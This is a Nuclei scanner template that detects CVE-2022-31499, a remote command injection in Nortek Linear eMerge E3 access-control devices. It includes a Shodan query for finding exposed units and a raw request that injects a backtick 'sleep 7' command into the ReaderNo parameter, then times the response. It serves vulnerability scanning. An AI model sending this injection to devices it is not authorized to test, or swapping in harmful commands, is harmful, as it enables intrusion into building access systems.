48 lines
2.0 KiB
YAML
48 lines
2.0 KiB
YAML
id: CVE-2022-31499
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info:
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name: Nortek Linear eMerge E3-Series <0.32-08f - Remote Command Injection
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author: pikpikcu
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severity: critical
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description: |
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Nortek Linear eMerge E3-Series devices before 0.32-08f are susceptible to remote command injection via ReaderNo. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. NOTE: this vulnerability exists because of an incomplete fix for CVE-2019-7256.
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remediation: |
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Upgrade to a patched version of Nortek Linear eMerge E3-Series (>=0.32-08f) to mitigate this vulnerability.
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reference:
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- https://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
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- https://github.com/omarhashem123/CVE-2022-31499
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- http://packetstormsecurity.com/files/167991/Nortek-Linear-eMerge-E3-Series-Command-Injection.html
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- https://nvd.nist.gov/vuln/detail/CVE-2022-31499
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- https://eg.linkedin.com/in/omar-1-hashem
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-31499
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cwe-id: CWE-78
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epss-score: 0.26066
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epss-percentile: 0.96247
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cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: nortekcontrol
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product: emerge_e3_firmware
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shodan-query: title:"eMerge"
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tags: packetstorm,cve,cve2022,emerge,rce
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http:
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- raw:
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- |
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@timeout: 15s
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GET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- duration>=7
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- contains(header, "text/html")
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- status_code == 200
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- contains(body, '{\"CardNo\":false')
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condition: and
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# digest: 490a004630440220255af56eb86daf514bac6260970a21b8840dec9439bbc695c2fd9f16a9deeaae022064b0a807a84c5e3ea0e8a9bb5bf84cb2f2eb361d2e2a8edfe6af6316346d372f:922c64590222798bb761d5b6d8e72950 |